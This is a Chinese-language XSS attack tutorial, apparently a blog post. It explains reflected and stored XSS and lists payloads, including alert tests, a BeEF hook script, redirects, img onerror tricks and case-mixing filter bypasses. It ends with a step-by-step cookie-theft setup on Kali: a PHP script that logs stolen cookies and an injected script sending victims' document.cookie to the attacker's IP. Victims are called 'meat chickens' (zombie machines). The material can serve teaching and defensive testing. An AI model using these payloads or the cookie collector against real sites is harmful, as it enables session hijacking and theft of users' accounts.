xss是一种经常出现的web应用中的计算机安全漏洞,是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,使别的用户访问都会执行相应的嵌入代码,进而窃取用户资料,利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
最常见的xss攻击分为两类,一种是反射性,另一种就是储存性。
1.反射性xss(reflected xss)
`<script>alert('xss')</script>`
这段代码作用是使页面进行弹窗警告
2.存储型xss(sstored xss)
<script src='172.16.70.216:3000/hook.js'></script>
这段代码是使用户访问上面的恶意地址,然后导致cookie泄露
在拿到cookie后可以用beEF来使用cookie进行进一步的操作
3.构建xss脚本
3.1常用html标签
<iframe>
iframe元素会创建包含另外一个文档的内联框架(即行内框架)。
<textarea> <textarea>
标签定义多行的文本输入控件。
<img>
img元素向网页中嵌入一幅图像。
<script> <script>
标签用于定义客户端脚本,比如JavaScript。
3.2常用的JavaScript方法
alert alert()
方法用于显示带有一条指定消息和一个确认按钮的警告
window.location
window.location对象用于获得当前页面的地址(url),并把浏览器重定向到新的页面
location.href
返回当前显示的文档的完整url
onload
一张页面或一幅图像完成加载
onsubmit
确认按钮被点击
onerror
在加载文档或者图像时发生错误
3.3 构造xss脚本
弹窗警告
此脚本实现弹窗提示,一般作为漏洞测试或者演示使用,类似sql注入漏洞测试中的单引号’,一旦此脚本能够执行,也就意味着后端服务器没有对特殊字符做过滤<>/'这样就意味着这个页面位置存在了xss漏洞。
<script>alert('xss')</script>
<script>alert('document.cookie')</script>
页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
页面重定向
<script>alert("请移步到我们的新网站");location.href="http://www.baidu.com"</script>
访问恶意代码
<script src="...."></script>
这个结合beEF收集用户的cookie,通过一个恶意的网页达到收集cookie的目的
巧用图片标签
<img src="#" onerror=alert('xss')>
<img src="javascript:aleret('xss');">
绕开过滤脚本
大小写<ScrIpt>alert('xss')</sCRipt>
字符编码 用base64或者url等编码
这个太长了,就不一一写了。
攻击方式 获取cookie:渗透机kali linux端操作
1.构建收集cookie服务器
2. 构造xss代码并植入到web服务器
3.等待肉鸡触发xss代码并将cookie发送到kali
4.cookie利用
实际操作:
在kali中先把apache开启:systemctl restart apache2
创建一个收集cookie的php小程序:
vim /var/www/html/cookie_rec.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log,$cookie . "\n");
fclose($log)
?>
目录给其一个权限:
chown -R www-data.www-data /var/www/
现在已经成功搭建好一个接受cookie的服务器,下来就是通过渗透机植入xss代码
<script>windows.open('http://192.168.16.128/cookie_rec.php?cookie='+document.cookie)</script>
注:上面的ip是你的渗透机的ip
最后因为对方的访问获得对方的cookie,当然上面的代码也可以自己进行设计。
当然以上这种方法的效率是比较低的,等到下一次我会写一些关于linux工具beEF的一些使用。